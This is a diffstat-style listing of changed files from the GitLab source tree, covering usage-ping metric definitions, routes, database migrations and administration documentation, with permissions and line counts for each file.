-rw-r--r--config/metrics/counts_all/20210216181012_packages.yml10
-rw-r--r--config/metrics/counts_all/20210216181014_projects_with_expiration_policy_disabled.yml8
-rw-r--r--config/metrics/counts_all/20210216181016_projects_with_expiration_policy_enabled.yml8
-rw-r--r--config/metrics/counts_all/20210216181018_projects_with_expiration_policy_enabled_with_keep_n_set_to_1.yml18
-rw-r--r--config/metrics/counts_all/20210216181020_projects_with_expiration_policy_enabled_with_keep_n_set_to_5.yml18
-rw-r--r--config/metrics/counts_all/20210216181022_projects_with_expiration_policy_enabled_with_keep_n_set_to_10.yml18
-rw-r--r--config/metrics/counts_all/20210216181024_projects_with_expiration_policy_enabled_with_keep_n_set_to_25.yml18
-rw-r--r--config/metrics/counts_all/20210216181025_projects_with_expiration_policy_enabled_with_keep_n_set_to_50.yml18
-rw-r--r--config/metrics/counts_all/20210216181027_projects_with_expiration_policy_enabled_with_keep_n_set_to_100.yml18
-rw-r--r--config/metrics/counts_all/20210216181029_projects_with_expiration_policy_enabled_with_cadence_set_to_1d.yml8
-rw-r--r--config/metrics/counts_all/20210216181031_projects_with_expiration_policy_enabled_with_cadence_set_to_7d.yml8
-rw-r--r--config/metrics/counts_all/20210216181033_projects_with_expiration_policy_enabled_with_cadence_set_to_14d.yml8
-rw-r--r--config/metrics/counts_all/20210216181035_projects_with_expiration_policy_enabled_with_cadence_set_to_1month.yml8
-rw-r--r--config/metrics/counts_all/20210216181037_projects_with_expiration_policy_enabled_with_cadence_set_to_3month.yml8
-rw-r--r--config/metrics/counts_all/20210216181038_projects_with_expiration_policy_enabled_with_older_than_set_to_7d.yml8
-rw-r--r--config/metrics/counts_all/20210216181040_projects_with_expiration_policy_enabled_with_older_than_set_to_14d.yml8
-rw-r--r--config/metrics/counts_all/20210216181042_projects_with_expiration_policy_enabled_with_older_than_set_to_30d.yml8
-rw-r--r--config/metrics/counts_all/20210216181044_projects_with_expiration_policy_enabled_with_older_than_set_to_90d.yml8
-rw-r--r--config/metrics/counts_all/20210216181046_projects_with_expiration_policy_enabled_with_keep_n_unset.yml18
-rw-r--r--config/metrics/counts_all/20210216181048_projects_with_expiration_policy_enabled_with_older_than_unset.yml8
-rw-r--r--config/metrics/counts_all/20210216181051_vendor.yml11
-rw-r--r--config/metrics/counts_all/20210216181055_projects_with_packages.yml10
-rw-r--r--config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml2
-rw-r--r--config/metrics/counts_all/20210216182547_projects_datadog_active.yml14
-rw-r--r--config/metrics/counts_all/20210216182549_groups_datadog_active.yml14
-rw-r--r--config/metrics/counts_all/20210216182551_templates_datadog_active.yml14
-rw-r--r--config/metrics/counts_all/20210216182553_instances_datadog_active.yml14
-rw-r--r--config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml14
-rw-r--r--config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml14
-rw-r--r--config/metrics/counts_all/20210216182614_projects_ewm_active.yml14
-rw-r--r--config/metrics/counts_all/20210216182616_groups_ewm_active.yml14
-rw-r--r--config/metrics/counts_all/20210216182618_templates_ewm_active.yml14
-rw-r--r--config/metrics/counts_all/20210216182620_instances_ewm_active.yml14
-rw-r--r--config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml14
-rw-r--r--config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml14
-rw-r--r--config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml17
-rw-r--r--config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml17
-rw-r--r--config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml17
-rw-r--r--config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml17
-rw-r--r--config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml17
-rw-r--r--config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml17
-rw-r--r--config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml17
-rw-r--r--config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml17
-rw-r--r--config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml17
-rw-r--r--config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml17
-rw-r--r--config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml17
-rw-r--r--config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml17
-rw-r--r--config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182903_package_events_i_package_conan_pull_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182905_package_events_i_package_conan_push_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182907_package_events_i_package_container_delete_package.yml18
-rw-r--r--config/metrics/counts_all/20210216182909_package_events_i_package_container_pull_package.yml18
-rw-r--r--config/metrics/counts_all/20210216182911_package_events_i_package_container_push_package.yml18
-rw-r--r--config/metrics/counts_all/20210216182913_package_events_i_package_debian_delete_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182915_package_events_i_package_debian_pull_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182917_package_events_i_package_debian_push_package.yml18
-rw-r--r--config/metrics/counts_all/20210216182919_package_events_i_package_delete_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182921_package_events_i_package_delete_package_by_deploy_token.yml16
-rw-r--r--config/metrics/counts_all/20210216182923_package_events_i_package_delete_package_by_guest.yml16
-rw-r--r--config/metrics/counts_all/20210216182925_package_events_i_package_delete_package_by_user.yml16
-rw-r--r--config/metrics/counts_all/20210216182927_package_events_i_package_generic_delete_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182929_package_events_i_package_generic_pull_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182931_package_events_i_package_generic_push_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182933_package_events_i_package_golang_delete_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182934_package_events_i_package_golang_pull_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182936_package_events_i_package_golang_push_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182938_package_events_i_package_maven_delete_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182940_package_events_i_package_maven_pull_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182942_package_events_i_package_maven_push_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182944_package_events_i_package_npm_delete_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182946_package_events_i_package_npm_pull_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182948_package_events_i_package_npm_push_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182950_package_events_i_package_nuget_delete_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182952_package_events_i_package_nuget_pull_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182954_package_events_i_package_nuget_push_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182956_package_events_i_package_pull_package.yml16
-rw-r--r--config/metrics/counts_all/20210216182958_package_events_i_package_pull_package_by_deploy_token.yml16
-rw-r--r--config/metrics/counts_all/20210216183000_package_events_i_package_pull_package_by_guest.yml16
-rw-r--r--config/metrics/counts_all/20210216183002_package_events_i_package_pull_package_by_user.yml16
-rw-r--r--config/metrics/counts_all/20210216183004_package_events_i_package_push_package.yml16
-rw-r--r--config/metrics/counts_all/20210216183005_package_events_i_package_push_package_by_deploy_token.yml16
-rw-r--r--config/metrics/counts_all/20210216183007_package_events_i_package_push_package_by_guest.yml16
-rw-r--r--config/metrics/counts_all/20210216183009_package_events_i_package_push_package_by_user.yml16
-rw-r--r--config/metrics/counts_all/20210216183011_package_events_i_package_pypi_delete_package.yml16
-rw-r--r--config/metrics/counts_all/20210216183013_package_events_i_package_pypi_pull_package.yml16
-rw-r--r--config/metrics/counts_all/20210216183015_package_events_i_package_pypi_push_package.yml16
-rw-r--r--config/metrics/counts_all/20210216183017_package_events_i_package_tag_delete_package.yml18
-rw-r--r--config/metrics/counts_all/20210216183019_package_events_i_package_tag_pull_package.yml18
-rw-r--r--config/metrics/counts_all/20210216183021_package_events_i_package_tag_push_package.yml18
-rw-r--r--config/metrics/counts_all/20210216183400_omniauth_providers.yml15
-rw-r--r--config/metrics/counts_all/20210216183402_two-factor.yml15
-rw-r--r--config/metrics/counts_all/20210216183404_two-factor-via-u2f-device.yml15
-rw-r--r--config/metrics/counts_all/20210216183406_two-factor-via-webauthn-device.yml15
-rw-r--r--config/metrics/counts_all/20210216183408_standard.yml15
-rw-r--r--config/metrics/counts_all/20210216183410_google_oauth2.yml15
-rw-r--r--config/metrics/counts_all/20210410012200_package_events_i_package_terraform_module_delete_package.yml2
-rw-r--r--config/metrics/counts_all/20210410012202_package_events_i_package_terraform_module_pull_package.yml2
-rw-r--r--config/metrics/counts_all/20210410012204_package_events_i_package_terraform_module_push_package.yml2
-rw-r--r--config/metrics/counts_all/20210423005644_i_analytics_dev_ops_adoption.yml2
-rw-r--r--config/metrics/counts_all/20210427212450_geo_secondary_web_oauth_users.yml2
-rw-r--r--config/metrics/counts_all/20210428142406_users_viewing_analytics_group_devops_adoption.yml2
-rw-r--r--config/metrics/counts_all/20210502045402_ci_runners_instance_type_active.yml4
-rw-r--r--config/metrics/counts_all/20210502050341_ci_runners_group_type_active.yml4
-rw-r--r--config/metrics/counts_all/20210502050834_ci_runners_project_type_active.yml4
-rw-r--r--config/metrics/counts_all/20210502050942_ci_runners_online.yml4
-rw-r--r--config/metrics/counts_all/20210502051651_ci_runners_instance_type_active_online.yml4
-rw-r--r--config/metrics/counts_all/20210502051922_ci_runners_group_type_active_online.yml4
-rw-r--r--config/metrics/counts_all/20210502052036_ci_runners_project_type_active_online.yml4
-rw-r--r--config/metrics/counts_all/20210510201537_in_product_marketing_email_create_0_sent.yml2
-rw-r--r--config/metrics/counts_all/20210510201919_in_product_marketing_email_create_0_cta_clicked.yml2
-rw-r--r--config/metrics/counts_all/20210510202148_in_product_marketing_email_create_1_sent.yml2
-rw-r--r--config/metrics/counts_all/20210510202356_in_product_marketing_email_create_1_cta_clicked.yml2
-rw-r--r--config/metrics/counts_all/20210510202604_in_product_marketing_email_create_2_sent.yml2
-rw-r--r--config/metrics/counts_all/20210510202724_in_product_marketing_email_create_2_cta_clicked.yml2
-rw-r--r--config/metrics/counts_all/20210510202807_in_product_marketing_email_verify_0_sent.yml2
-rw-r--r--config/metrics/counts_all/20210510202943_in_product_marketing_email_verify_0_cta_clicked.yml2
-rw-r--r--config/metrics/counts_all/20210510202955_in_product_marketing_email_verify_1_sent.yml2
-rw-r--r--config/metrics/counts_all/20210510203005_in_product_marketing_email_verify_1_cta_clicked.yml2
-rw-r--r--config/metrics/counts_all/20210510203015_in_product_marketing_email_verify_2_sent.yml2
-rw-r--r--config/metrics/counts_all/20210510203025_in_product_marketing_email_verify_2_cta_clicked.yml2
-rw-r--r--config/metrics/counts_all/20210510203035_in_product_marketing_email_trial_0_sent.yml2
-rw-r--r--config/metrics/counts_all/20210510203044_in_product_marketing_email_trial_0_cta_clicked.yml2
-rw-r--r--config/metrics/counts_all/20210510203054_in_product_marketing_email_trial_1_sent.yml2
-rw-r--r--config/metrics/counts_all/20210510203104_in_product_marketing_email_trial_1_cta_clicked.yml2
-rw-r--r--config/metrics/counts_all/20210510203114_in_product_marketing_email_trial_2_sent.yml2
-rw-r--r--config/metrics/counts_all/20210510203124_in_product_marketing_email_trial_2_cta_clicked.yml2
-rw-r--r--config/metrics/counts_all/20210510203134_in_product_marketing_email_team_0_sent.yml2
-rw-r--r--config/metrics/counts_all/20210510203143_in_product_marketing_email_team_0_cta_clicked.yml2
-rw-r--r--config/metrics/counts_all/20210510203153_in_product_marketing_email_team_1_sent.yml2
-rw-r--r--config/metrics/counts_all/20210510203203_in_product_marketing_email_team_1_cta_clicked.yml2
-rw-r--r--config/metrics/counts_all/20210510203213_in_product_marketing_email_team_2_sent.yml2
-rw-r--r--config/metrics/counts_all/20210510203223_in_product_marketing_email_team_2_cta_clicked.yml2
-rw-r--r--config/metrics/counts_all/20210514141520_project_imports_total.yml20
-rw-r--r--config/metrics/counts_all/20210517073546_package_events_i_package_helm_pull_package.yml20
-rw-r--r--config/metrics/counts_all/20210518081225_in_product_marketing_email_experience_0_sent.yml21
-rw-r--r--config/metrics/license/20210204124827_hostname.yml1
-rw-r--r--config/metrics/license/20210204124829_active_user_count.yml4
-rw-r--r--config/metrics/license/20210204124854_license_management_jobs.yml17
-rw-r--r--config/metrics/license/20210204124926_license_trial_ends_on.yml16
-rw-r--r--config/metrics/license/20210216181053_version.yml8
-rw-r--r--config/metrics/license/20210216183237_version.yml12
-rw-r--r--config/metrics/objects_schemas/topology_schema.json2
-rw-r--r--config/metrics/schema.json29
-rw-r--r--config/metrics/settings/20210204124858_container_registry_enabled.yml14
-rw-r--r--config/metrics/settings/20210204124900_dependency_proxy_enabled.yml14
-rw-r--r--config/metrics/settings/20210204124904_gravatar_enabled.yml13
-rw-r--r--config/metrics/settings/20210204124908_mattermost_enabled.yml12
-rw-r--r--config/metrics/settings/20210204124912_prometheus_enabled.yml4
-rw-r--r--config/metrics/settings/20210204124914_prometheus_metrics_enabled.yml4
-rw-r--r--config/metrics/settings/20210204124916_reply_by_email_enabled.yml14
-rw-r--r--config/metrics/settings/20210204124920_web_ide_clientside_preview_enabled.yml14
-rw-r--r--config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml3
-rw-r--r--config/metrics/settings/20210216180314_gitpod_enabled.yml5
-rw-r--r--config/metrics/settings/20210216180836_enabled.yml3
-rw-r--r--config/metrics/settings/20210216180838_enabled.yml3
-rw-r--r--config/metrics/settings/20210216180840_direct_upload.yml3
-rw-r--r--config/metrics/settings/20210216180841_background_upload.yml3
-rw-r--r--config/metrics/settings/20210216180843_provider.yml5
-rw-r--r--config/metrics/settings/20210216180845_enabled.yml3
-rw-r--r--config/metrics/settings/20210216180847_enabled.yml3
-rw-r--r--config/metrics/settings/20210216180849_direct_upload.yml3
-rw-r--r--config/metrics/settings/20210216180851_background_upload.yml3
-rw-r--r--config/metrics/settings/20210216180852_provider.yml5
-rw-r--r--config/metrics/settings/20210216180854_enabled.yml3
-rw-r--r--config/metrics/settings/20210216180856_enabled.yml3
-rw-r--r--config/metrics/settings/20210216180858_direct_upload.yml3
-rw-r--r--config/metrics/settings/20210216180900_background_upload.yml3
-rw-r--r--config/metrics/settings/20210216180902_provider.yml5
-rw-r--r--config/metrics/settings/20210216180903_enabled.yml5
-rw-r--r--config/metrics/settings/20210216180905_enabled.yml3
-rw-r--r--config/metrics/settings/20210216180907_direct_upload.yml3
-rw-r--r--config/metrics/settings/20210216180909_background_upload.yml3
-rw-r--r--config/metrics/settings/20210216180911_provider.yml5
-rw-r--r--config/metrics/settings/20210216180913_enabled.yml3
-rw-r--r--config/metrics/settings/20210216180915_enabled.yml3
-rw-r--r--config/metrics/settings/20210216180916_direct_upload.yml3
-rw-r--r--config/metrics/settings/20210216180918_background_upload.yml3
-rw-r--r--config/metrics/settings/20210216180920_provider.yml5
-rw-r--r--config/metrics/settings/20210321224827_gitaly_apdex.yml2
-rw-r--r--config/redis.trace_chunks.yml.example38
-rw-r--r--config/routes.rb48
-rw-r--r--config/routes/admin.rb20
-rw-r--r--config/routes/project.rb25
-rw-r--r--config/routes/repository.rb67
-rw-r--r--config/routes/repository_deprecated.rb36
-rw-r--r--config/routes/repository_scoped.rb41
-rw-r--r--config/routes/user.rb1
-rw-r--r--config/sidekiq_queues.yml20
-rw-r--r--config/unicorn.rb.example144
-rw-r--r--config/unicorn.rb.example.development77
-rw-r--r--danger/commit_messages/Dangerfile147
-rw-r--r--danger/feature_flag/Dangerfile10
-rw-r--r--danger/plugins/product_intelligence.rb10
-rw-r--r--danger/product_intelligence/Dangerfile82
-rw-r--r--danger/roulette/Dangerfile33
-rw-r--r--db/fixtures/production/002_admin.rb6
-rw-r--r--db/migrate/20210331000934_add_config_to_ci_runners.rb7
-rw-r--r--db/migrate/20210430121522_initialize_conversion_of_ci_build_trace_sections_to_bigint.rb16
-rw-r--r--db/migrate/20210504143128_add_verification_state_and_started_at_to_mr_diff_details_table.rb10
-rw-r--r--db/migrate/20210505070612_create_packages_debian_group_distribution_keys.rb37
-rw-r--r--db/migrate/20210505070812_create_packages_debian_project_distribution_keys.rb37
-rw-r--r--db/migrate/20210505170152_add_verification_indexes_to_merge_request_diff_details_table.rb26
-rw-r--r--db/migrate/20210506150833_create_vulnerability_finding_evidence_headers.rb29
-rw-r--r--db/migrate/20210507191949_add_remove_on_issue_close_to_labels.rb8
-rw-r--r--db/migrate/20210510083845_add_sha_to_status_check_response.rb13
-rw-r--r--db/migrate/20210511165250_add_foreign_key_to_lfs_objects_projects.rb19
-rw-r--r--db/migrate/20210512120122_add_pending_builds_table.rb15
-rw-r--r--db/migrate/20210517130723_make_snapshot_segment_id_optional.rb11
-rw-r--r--db/migrate/20210517144856_require_snapshot_namespace.rb19
-rw-r--r--db/migrate/20210517221612_add_default_value_to_merge_requests_author_approval_on_projects.rb17
-rw-r--r--db/migrate/20210519132109_initialize_conversion_of_ci_builds_metadata_to_bigint.rb16
-rw-r--r--db/migrate/20210520102039_group_protected_environments_add_column.rb15
-rw-r--r--db/migrate/20210520133032_initialize_conversion_of_taggings_to_bigint.rb16
-rw-r--r--db/migrate/20210520133440_backfill_taggings_for_bigint_conversion.rb16
-rw-r--r--db/migrate/20210521073920_drop_devops_adoption_namespace_uniqueness.rb23
-rw-r--r--db/migrate/20210525085158_initialize_conversion_of_deployments_to_bigint.rb16
-rw-r--r--db/migrate/20210525085325_backfill_deployments_for_bigint_conversion.rb16
-rw-r--r--db/migrate/20210525100539_initialize_conversion_of_geo_job_artifact_deleted_events_to_bigint.rb16
-rw-r--r--db/migrate/20210525100603_backfill_geo_job_artifact_deleted_events_for_bigint_conversion.rb16
-rw-r--r--db/migrate/20210525184900_add_latest_pipeline_id_into_vulnerability_statistics_table.rb7
-rw-r--r--db/migrate/20210526135911_create_ci_minutes_additional_packs.rb25
-rw-r--r--db/migrate/20210526155257_rename_sync_security_report_approval_rules_sidekiq_queue.rb15
-rw-r--r--db/migrate/20210526181820_add_index_to_vulnerability_statistics_on_latest_pipeline_id.rb17
-rw-r--r--db/migrate/20210526181821_add_foreign_key_for_latest_pipeline_id_to_ci_pipelines.rb17
-rw-r--r--db/migrate/20210526190259_add_ci_daily_pipeline_schedule_triggers_to_plan_limits.rb7
-rw-r--r--db/migrate/20210526190553_insert_ci_daily_pipeline_schedule_triggers_plan_limits.rb26
-rw-r--r--db/migrate/20210527065005_add_index_for_cadence_iterations_automation.rb17
-rw-r--r--db/migrate/20210527130524_rename_experiment_subjects_group_id_to_namespace_id.rb15
-rw-r--r--db/migrate/20210527133919_add_diff_max_lines_to_application_settings.rb11
-rw-r--r--db/migrate/20210527134019_add_diff_max_files_to_application_settings.rb11
-rw-r--r--db/migrate/20210527185542_add_prevent_sharing_groups_outside_hierarchy_to_namespace_settings.rb17
-rw-r--r--db/migrate/20210527194558_create_ci_job_token_project_scope_links.rb24
-rw-r--r--db/migrate/20210529164247_change_iterations_title_uniqueness_index.rb20
-rw-r--r--db/migrate/20210531053916_rename_instance_statistics_measurements.rb13
-rw-r--r--db/migrate/20210531070452_default_enforce_ssh_key_expiration.rb7
-rw-r--r--db/migrate/20210531071107_enable_enforce_ssh_key_expiration.rb15
-rw-r--r--db/migrate/20210601080039_group_protected_environments_add_index_and_constraint.rb35
-rw-r--r--db/migrate/20210601123341_add_running_builds_table.rb17
-rw-r--r--db/migrate/20210601125410_add_runners_created_at_index.rb20
-rw-r--r--db/migrate/20210601131742_update_web_hook_calls_limit.rb17
-rw-r--r--db/migrate/20210601133459_replace_runners_contacted_at_index.rb26
-rw-r--r--db/migrate/20210602122213_add_upcoming_reconciliations.rb23
-rw-r--r--db/migrate/20210602122233_add_runners_description_index.rb17
-rw-r--r--db/migrate/20210603140302_add_pronouns_to_user_details.rb20
-rw-r--r--db/migrate/20210603222333_remove_builds_email_service_from_services.rb11
-rw-r--r--db/migrate/20210604082145_create_external_status_checks_table.rb42
-rw-r--r--db/migrate/20210604085600_rename_status_check_responses_approval_rule.rb34
-rw-r--r--db/migrate/20210607050531_add_text_limit_to_user_details_pronouns.rb15
-rw-r--r--db/migrate/20210607080044_remove_temporary_index_on_security_findings_scan_id.rb18
-rw-r--r--db/migrate/20210607154719_add_job_token_scope_enabled_to_ci_cd_settings.rb17
-rw-r--r--db/migrate/20210608072312_initialize_conversion_of_ci_stages_to_bigint.rb16
-rw-r--r--db/migrate/20210608072346_backfill_ci_stages_for_bigint_conversion.rb16
-rw-r--r--db/migrate/20210609013512_add_unique_index_for_batched_background_migrations.rb28
-rw-r--r--db/migrate/20210609090856_add_expiry_id_ssh_key_notification_index.rb20
-rw-r--r--db/migrate/20210609192728_add_status_check_foreign_key_to_external_status_check_id.rb17
-rw-r--r--db/migrate/20210609193101_add_status_check_foreign_key_to_protected_branch_id.rb17
-rw-r--r--db/migrate/20210610102410_add_protected_attribute_to_pending_builds.rb7
-rw-r--r--db/migrate/20210611100359_rebuild_index_for_cadence_iterations_automation.rb39
-rw-r--r--db/migrate/20210614131002_add_detection_method_to_vulnerabilities_finding.rb17
-rw-r--r--db/post_migrate/20190527194900_schedule_calculate_wiki_sizes.rb10
-rw-r--r--db/post_migrate/20210421163509_schedule_update_jira_tracker_data_deployment_type_based_on_url.rb26
-rw-r--r--db/post_migrate/20210426225417_schedule_recalculate_uuid_on_vulnerabilities_occurrences2.rb37
-rw-r--r--db/post_migrate/20210430121542_backfill_ci_build_trace_sections_for_bigint_conversion.rb16
-rw-r--r--db/post_migrate/20210513163904_cleanup_move_container_registry_enabled_to_project_feature.rb36
-rw-r--r--db/post_migrate/20210514063252_schedule_cleanup_orphaned_lfs_objects_projects.rb27
-rw-r--r--db/post_migrate/20210518074332_schedule_disable_expiration_policies_linked_to_no_container_images.rb29
-rw-r--r--db/post_migrate/20210519104931_backfill_clusters_integration_prometheus_enabled.rb42
-rw-r--r--db/post_migrate/20210519132129_backfill_ci_builds_metadata_for_bigint_conversion.rb16
-rw-r--r--db/post_migrate/20210519220019_backfill_escalation_policies_for_oncall_schedules.rb89
-rw-r--r--db/post_migrate/20210520012430_backfill_pk_conversion_for_self_managed.rb44
-rw-r--r--db/post_migrate/20210525075724_clean_up_pending_builds_table.rb28
-rw-r--r--db/post_migrate/20210526160133_remove_segment_selections_table.rb26
-rw-r--r--db/post_migrate/20210526222715_backfill_draft_status_on_merge_requests.rb17
-rw-r--r--db/post_migrate/20210527131039_clean_up_rename_experiment_subjects_group_id_to_namespace_id.rb15
-rw-r--r--db/post_migrate/20210531054108_finalize_rename_instance_statistics_measurements.rb13
-rw-r--r--db/post_migrate/20210601073400_fix_total_stage_in_vsa.rb27
-rw-r--r--db/post_migrate/20210604070207_retry_backfill_traversal_ids.rb21
-rw-r--r--db/post_migrate/20210606143426_add_index_for_container_registry_access_level.rb36
-rw-r--r--db/post_migrate/20210609125005_drop_non_partitioned_web_hook_logs.rb43
-rw-r--r--db/post_migrate/20210610102413_migrate_protected_attribute_to_pending_builds.rb26
-rw-r--r--db/post_migrate/20210610113229_add_index_to_protected_pending_builds.rb17
-rw-r--r--db/post_migrate/20210610141711_disable_expiration_policies_linked_to_no_container_images.rb32
-rw-r--r--db/post_migrate/20210611080951_fix_missing_traversal_ids.rb48
-rw-r--r--db/schema_migrations/202103310009341
-rw-r--r--db/schema_migrations/202104211635091
-rw-r--r--db/schema_migrations/202104262254171
-rw-r--r--db/schema_migrations/202104301215221
-rw-r--r--db/schema_migrations/202104301215421
-rw-r--r--db/schema_migrations/202105041431281
-rw-r--r--db/schema_migrations/202105050706121
-rw-r--r--db/schema_migrations/202105050708121
-rw-r--r--db/schema_migrations/202105051701521
-rw-r--r--db/schema_migrations/202105061508331
-rw-r--r--db/schema_migrations/202105100838451
-rw-r--r--db/schema_migrations/202105111652501
-rw-r--r--db/schema_migrations/202105121201221
-rw-r--r--db/schema_migrations/202105131639041
-rw-r--r--db/schema_migrations/202105140632521
-rw-r--r--db/schema_migrations/202105171307231
-rw-r--r--db/schema_migrations/202105171448561
-rw-r--r--db/schema_migrations/202105172216121
-rw-r--r--db/schema_migrations/202105180743321
-rw-r--r--db/schema_migrations/202105191049311
-rw-r--r--db/schema_migrations/202105191321091
-rw-r--r--db/schema_migrations/202105191321291
-rw-r--r--db/schema_migrations/202105192200191
-rw-r--r--db/schema_migrations/202105200124301
-rw-r--r--db/schema_migrations/202105201020391
-rw-r--r--db/schema_migrations/202105201330321
-rw-r--r--db/schema_migrations/202105201334401
-rw-r--r--db/schema_migrations/202105210739201
-rw-r--r--db/schema_migrations/202105250757241
-rw-r--r--db/schema_migrations/202105250851581
-rw-r--r--db/schema_migrations/202105250853251
-rw-r--r--db/schema_migrations/202105251005391
-rw-r--r--db/schema_migrations/202105251006031
-rw-r--r--db/schema_migrations/202105251849001
-rw-r--r--db/schema_migrations/202105261359111
-rw-r--r--db/schema_migrations/202105261552571
-rw-r--r--db/schema_migrations/202105261601331
-rw-r--r--db/schema_migrations/202105261818201
-rw-r--r--db/schema_migrations/202105261818211
-rw-r--r--db/schema_migrations/202105261902591
-rw-r--r--db/schema_migrations/202105261905531
-rw-r--r--db/schema_migrations/202105262227151
-rw-r--r--db/schema_migrations/202105270650051
-rw-r--r--db/schema_migrations/202105271305241
-rw-r--r--db/schema_migrations/202105271310391
-rw-r--r--db/schema_migrations/202105271339191
-rw-r--r--db/schema_migrations/202105271340191
-rw-r--r--db/schema_migrations/202105271855421
-rw-r--r--db/schema_migrations/202105271945581
-rw-r--r--db/schema_migrations/202105291642471
-rw-r--r--db/schema_migrations/202105310539161
-rw-r--r--db/schema_migrations/202105310541081
-rw-r--r--db/schema_migrations/202105310704521
-rw-r--r--db/schema_migrations/202105310711071
-rw-r--r--db/schema_migrations/202106010734001
-rw-r--r--db/schema_migrations/202106010800391
-rw-r--r--db/schema_migrations/202106011233411
-rw-r--r--db/schema_migrations/202106011254101
-rw-r--r--db/schema_migrations/202106011317421
-rw-r--r--db/schema_migrations/202106011334591
-rw-r--r--db/schema_migrations/202106021222131
-rw-r--r--db/schema_migrations/202106021222331
-rw-r--r--db/schema_migrations/202106031403021
-rw-r--r--db/schema_migrations/202106032223331
-rw-r--r--db/schema_migrations/202106040702071
-rw-r--r--db/schema_migrations/202106040821451
-rw-r--r--db/schema_migrations/202106040856001
-rw-r--r--db/schema_migrations/202106061434261
-rw-r--r--db/schema_migrations/202106070505311
-rw-r--r--db/schema_migrations/202106070800441
-rw-r--r--db/schema_migrations/202106071547191
-rw-r--r--db/schema_migrations/202106080723121
-rw-r--r--db/schema_migrations/202106080723461
-rw-r--r--db/schema_migrations/202106090135121
-rw-r--r--db/schema_migrations/202106090908561
-rw-r--r--db/schema_migrations/202106091250051
-rw-r--r--db/schema_migrations/202106091927281
-rw-r--r--db/schema_migrations/202106091931011
-rw-r--r--db/schema_migrations/202106101024101
-rw-r--r--db/schema_migrations/202106101024131
-rw-r--r--db/schema_migrations/202106101132291
-rw-r--r--db/schema_migrations/202106101417111
-rw-r--r--db/schema_migrations/202106110809511
-rw-r--r--db/schema_migrations/202106111003591
-rw-r--r--db/schema_migrations/202106141310021
-rw-r--r--db/structure.sql696
-rw-r--r--doc/.vale/gitlab/Acronyms.yml19
-rw-r--r--doc/.vale/gitlab/SubstitutionWarning.yml12
-rw-r--r--doc/.vale/gitlab/Substitutions.yml2
-rw-r--r--doc/.vale/gitlab/spelling-exceptions.txt7
-rw-r--r--doc/administration/audit_events.md53
-rw-r--r--doc/administration/audit_reports.md4
-rw-r--r--doc/administration/auth/ldap/index.md212
-rw-r--r--doc/administration/auth/ldap/ldap-troubleshooting.md89
-rw-r--r--doc/administration/auth/okta.md1
-rw-r--r--doc/administration/clusters/kas.md2
-rw-r--r--doc/administration/compliance.md36
-rw-r--r--doc/administration/configure.md16
-rw-r--r--doc/administration/consul.md21
-rw-r--r--doc/administration/database_load_balancing.md55
-rw-r--r--doc/administration/environment_variables.md4
-rw-r--r--doc/administration/external_pipeline_validation.md19
-rw-r--r--doc/administration/feature_flags.md5
-rw-r--r--doc/administration/file_hooks.md11
-rw-r--r--doc/administration/geo/disaster_recovery/index.md27
-rw-r--r--doc/administration/geo/disaster_recovery/planned_failover.md24
-rw-r--r--doc/administration/geo/index.md25
-rw-r--r--doc/administration/geo/replication/datatypes.md60
-rw-r--r--doc/administration/geo/replication/faq.md10
-rw-r--r--doc/administration/geo/replication/geo_validation_tests.md4
-rw-r--r--doc/administration/geo/replication/multiple_servers.md48
-rw-r--r--doc/administration/geo/replication/remove_geo_node.md1
-rw-r--r--doc/administration/geo/replication/security_review.md2
-rw-r--r--doc/administration/geo/replication/troubleshooting.md87
-rw-r--r--doc/administration/geo/replication/using_a_geo_server.md1
-rw-r--r--doc/administration/geo/replication/version_specific_updates.md10
-rw-r--r--doc/administration/geo/setup/database.md232
-rw-r--r--doc/administration/geo/setup/external_database.md41
-rw-r--r--doc/administration/git_annex.md1
-rw-r--r--doc/administration/gitaly/configure_gitaly.md3
-rw-r--r--doc/administration/gitaly/faq.md90
-rw-r--r--doc/administration/gitaly/index.md184
-rw-r--r--doc/administration/gitaly/praefect.md160
-rw-r--r--doc/administration/incoming_email.md13
-rw-r--r--doc/administration/index.md5
-rw-r--r--doc/administration/instance_limits.md83
-rw-r--r--doc/administration/integration/kroki.md25
